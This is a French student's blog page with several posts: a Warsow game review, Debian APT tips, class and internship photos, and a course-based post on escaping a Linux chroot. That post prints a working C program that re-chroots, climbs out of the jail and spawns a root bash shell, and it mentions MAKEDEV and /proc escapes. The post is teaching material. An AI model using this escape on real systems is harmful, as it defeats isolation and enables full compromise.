BlueIcefield Le savoir n'a de valeur que s'il est partagé

11oct/092

[Linux|Jeux] Warsow

Warsaw est un jeu gratuit de type FPS disponible sous Linux et adoptant un style graphique proche des bandes dessinées (cel-shading).

La qualité du jeu  est vraiment excellente, sa jouabilité est irréprochable et il est doté de quelques particularités résidant dans un système de double munitions (weak ammo et strong ammo) ainsi qu'un gameplay intégrant des mouvements spéciaux (pointes de vitesse, rebonds sur les murs, course sur les murs style Prince Of Persia...etc.) .

Les modes de jeux sont nombreux, on retrouve les classiques "Death Match", "Team DeachMatch", "Capture The Flag" mais aussi des modes plus spécifiques comme "Dual" où deux joueurs s'affrontent, "Race" axé rapidité, "Clan Arena", "Duel Arena" et "Instagib". Il est possible de jouer en local grâce à un système de bots inclus nativement.

Voici quelques captures d'écran :

Pour installer Warsow utilisez le gestionnaire de paquetage de votre distribution Linux (à noter que la dernière version du jeu est la 0.5) ou téléchargez le jeu depuis son site officiel : http://www.warsow.net

Pour finir, sachez que Warsow est aussi disponible sous Windows et Mac OS.

Dans un prochain billet, je traiterai de l'installation d'un serveur dédié Warsow tel que celui que j'ai mis en place dans notre salle de cours à l'institut.

tp://fr.wikipedia.org/wiki/Jeu_de_tir_subjectifc

4oct/091

[Sécurité/Linux] Chroot Break

chrootbreak

Derrière ce titre original se cache un billet traitant de l'évasion d'un chroot sous GNU/Linux, sujet pour lequel je me suis très fortement inspiré de ce que j'ai vu récemment en cours.

De plus en plus de personnes procèdent au compartimentage des applications de leur serveur à l'aide de l'outil chroot, le but de cette manipulation étant de limiter l'impacte du piratage d'une des applications (services) du serveur en isolant les programmes les uns les autres. Ainsi, si un hacker obtient un accès via un service X, il se trouvera enfermer dans une cage ce qui l'empêchera d'infecter le reste du système, la sécurité globale reste donc préservée.

Cela dit, les gens savent moins souvent que la commande chroot n'a pas pour vocation première de sécuriser un système en mettant en place des cages. De nombreuses techniques permettent en effet de s'échapper d'un chroot et d'avoir ainsi accès à l'ensemble du système.

Voici un petit programme rédigé en C qui permet d'outrepasser un chroot :

/**

* Programme en C permettant d'outrepasser un chroot.

* Auteur : Lucas Nussbaum - IUT Charlemagne Nancy2, France.

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/stat.h>

#include <sys/types.h>

int main() {

/* On se positionne a la racine du chroot */

if (chdir("/") == -1) { perror("chdir"); }

/* On cree un repertoire 'foo' et un chroot dedans */

if (mkdir("/foo", 0755) == -1) { perror("mkdir"); }

if (chroot("/foo") == -1) { perror("chroot"); }

/* A ce moment la, la racine du processus est /foo, mais le repertoire courant du processus pointe en dehors du chroot.

On fait remonter le repertoire courant. */

if (chdir("../../../../..") == -1) { perror("chdir"); }

/* On execute un shell */

system("/bin/bash");

return 0;

}

Deux remarques au sujet de ce code mis au point par mon enseignant :

  1. Il requière les privilèges root.
  2. Il requière l'accès à un compilateur C ou d'avoir la possibilité d'exécuter un programme

Ce programme exploite l'appel système chroot pour casser une prison. La démarche se résume à accéder à la racine du chroot, à créer un répertoire et à chrooter celui-ci à l'aide d'un appel système en langage C. Le fait de chrooter ce répertoire va modifier le répertoire racine du processus mais pas le répertoire courant qui se retrouve du coup en dehors du nouveau chroot... on est ainsi libre ! Il suffit dès lors de remonter plusieurs répertoire jusqu'à se retrouver à la racine "/" et de lancer un shell bash pour avoir un accès complet au système.

D'autres méthodes existes pour outrepasser un chroot. On peut notamment utiliser la commande MAKEDEV pour des devices sda* et en suite les monter et avoir ainsi accès à l'ensemble du disque dur. Il est aussi possible de passer via /proc qui contient diverses informations sur les processus courants du système.

Vous avez néanmoins bien compris que ces méthodes requièrent les droits root pour pouvoir êtres exploitées, le pirate devra donc par exemple passer via un faille du kernel pour obtenir ces privilèges.

Lors du TP qui traitait de ce sujet, le programme mentionné ci-dessus n'a pas fonctionné (pourtant lancé en root) sur mon serveur basée sur Debian, la raison à cela est que j'utilise un noyau patché avec GrSecurity qui inclus certains renforcements pour chroot.

D'ailleurs, j'essaierai prochainement de rédiger un billet traitant des dispositifs que j'ai mis en place sur mon serveur pour le sécuriser.

4oct/091

[Debian] Bon APT

Debian

Désolé mais  à cette heure saugrenue à laquelle je rédige ce billet je n’ai pas eu de meilleure idée de titre que celui-ci.

Bon, cela fait maintenant quelques semaines que j’ai repris les cours et qu’à mon grand désespoir d’Archlinuxien je bouffe du Debian à longueur de journée et j’ai donc décidé de rédiger un petit billet au sujet d’APT que je commence à maitriser.

Voici donc quelques « astuces » sous APT :

  • Sélectionner les meilleurs miroirs :

Il est intéressant de sélectionner les miroirs les plus rapides pour optimiser les temps de téléchargement des paquets avec APT. Cette opération peut être effectuée judicieusement à l’aide de l’application netselect.

Installation de netselect :

apt-get install netselect

Il vous suffit maintenant de lancer la commande netselect suivie d'une liste de miroirs (séparés par des espaces) et la commande renverra le miroir le plus rapide. Vous pouvez trouver la liste complète des miroirs ici : http://www.debian.org/mirror/mirrors_full.

  • Rechercher un paquet :

Si vous recherchez un paquet dont vous ne connaissez pas le nom exacte, vous pouvez utiliser la commande :

apt-cache search nomDuPaquet

Cette commande effectuera une recherche sur le nom des paquets et leur description. Si vous désirez restreindre la recherche aux noms des paquets uniquement, vous pouvez utiliser la commande :

apt-cache search  -n nomDuPaquet

  • Afficher les informations d'un paquet :

Vous pouvez afficher les informations d'un paquet (descriptions, dépendances...etc) en utilisant la commande :

apt-cache showpkg nomDuPaquet

  • Déterminer à quel paquetage appartient un fichier :

Une fonction qui s'avère cruciale lors de certaines pannes, cela permet par exemple de pouvoir restaurer un fichier corrompu en réinstallant le paquetage correspondant.

La commande à utiliser est :

apt-file search nomDuFichier

Il est aussi possible de lister l'ensemble des fichiers d'un paquet particulier :

apt-file list nomDuPaquet

Il est important de noter qu'apt-file doit être installé car il n'est pas disponible par défaut, son installation s'effectue de cette manière :

apt-get install apt-file

apt-file update

Voilà... j'essairai d'enrichir ce billet prochainement.

17sept/095

[Photos] ASRALL

Nous avons commencé les cours d'ASRALL cette semaine, nous somme assez nombreux cette année (29 étudiants) mais heureusement le nombre de machines est suffisant. Les membres de la promotion sont sympathique, il y à une excellente ambiance et surtout un cadre de travail super agréable et très motivant.

Salle ASRALL

Salle ASRALL

Au fond de notre salle se trouve un ensemble de PC en libre service, nos jouets ! On peut s'en servir pour des différents tests et expérimentations

Au fond de notre salle se trouve un ensemble de PC en libre service, nos jouets ! On peut s'en servir pour différents tests et expérimentations

A droite ma station de travail (XFCE - Debian Testing pour la plus grande joie de mon binôme) et à gauche mon laptop (KDE4 - Archlinux). Sur nos laptops ont peut soit se connecter via wifi soit via ethernet

A droite ma station de travail (XFCE - Debian Testing pour la plus grande joie de mon binôme) et à gauche mon laptop (KDE4 - Archlinux). Sur nos laptops ont peut soit se connecter via wifi soit via ethernet

Ici mon ami Seb entrain de s'adonner aux macro sous Emacs (équipé d'un MacBook qui tourne sous Debian/XFCE ^^)

Ici mon ami Seb entrain de s'adonner aux macro sous Emacs (équipé d'un MacBook qui tourne sous Debian/XFCE ^^)

Voilà... j'espère publier de nouvelles photos très prochainement, notamment, celles du serveur que je compte déployer dès demain sur une des machines qui se trouvent au fond de la salle. J'hésite toujours sur le choix d'un OS/Distrib mais je crois que je vais essayer FreeBSD.

21août/097

[Stage] Photos chez Ineodev

Mon stage chez INEODEV tire à sa fin, j'ai donc saisi l'occasion pour prendre des photos des lieux,  ne soyez pas surpris de n'apercevoir aucun individu sur les photos, il ne s'agit pas de censure, c'est juste que toute l'équipe était dans la cour pour organiser un barbecue.

Ineodev

Lieu de travail des responsables du "Contrôle Qualité".

Bureau d'une des charmantes qui travaillent chez Ineodev.

Bureau d'une des charmantes femmes qui travaillent chez Ineodev.

Bureau du CTO

Bureau du CTO

La ruche; l'espace des développeurs !

La ruche; l'espace des développeurs !

Voilà, je n'ai pas tout pris en photo... la prochaine fois je prendrai des photos de la salle de réunion et du coin détente avec l'écran HD géant et la petite Wii ^^